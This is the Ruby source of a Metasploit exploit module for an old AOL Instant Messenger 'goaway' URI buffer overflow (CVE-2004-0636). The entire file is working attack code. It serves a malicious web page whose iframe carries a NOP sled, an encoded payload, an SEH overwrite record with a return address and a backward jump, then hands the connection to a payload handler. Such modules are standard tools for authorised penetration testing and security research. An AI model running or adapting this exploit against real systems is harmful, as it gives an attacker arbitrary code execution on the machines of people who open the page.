metasploit-framework/modules/exploits/windows/browser/aim_goaway.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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#
# This module acts as an HTTP server and exploits an SEH overwrite
#
include Msf::Exploit::Seh
include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
super(update_info(info,
'Name' => 'AOL Instant Messenger goaway Overflow',
'Description' => %q{
This module exploits a flaw in the handling of AOL Instant
Messenger's 'goaway' URI handler. An attacker can execute
arbitrary code by supplying a overly sized buffer as the
'message' parameter. This issue is known to affect AOL Instant
Messenger 5.5.
},
'License' => MSF_LICENSE,
'Author' =>
[
'skape',
'thief <thief[at]hick.org>'
],
'References' =>
[
[ 'CVE', '2004-0636' ],
[ 'OSVDB', '8398' ],
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[ 'BID', '10889'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],
],
'Payload' =>
{
'Space' => 1014,
'MaxNops' => 1014,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'StackAdjustment' => -3500,
},
'Platform' => %w{ win },
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'Targets' =>
[
# Target 0: Automatic
[
'Windows NT/2000/XP/2003 Automatic',
{
'Platform' => 'win',
'Rets' =>
[
0x1108118f, # proto.com: pop/pop/ret
],
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 09 2004'))
end
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def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
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# Build out the message
msg =
make_nops(1014 - p.encoded.length) + # NOP sled before the payload
p.encoded + # store the payload
generate_seh_record(target['Rets'][0]) + # set up the SEH frame
"\x90\xe9\x13\xfc\xff\xff" # jmp -1000
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# Build the HTML content
content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"
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print_status("Sending #{self.name}")
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# Transmit the response to the client
send_response_html(cli, content)
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# Handle the payload
handler(cli)
end
end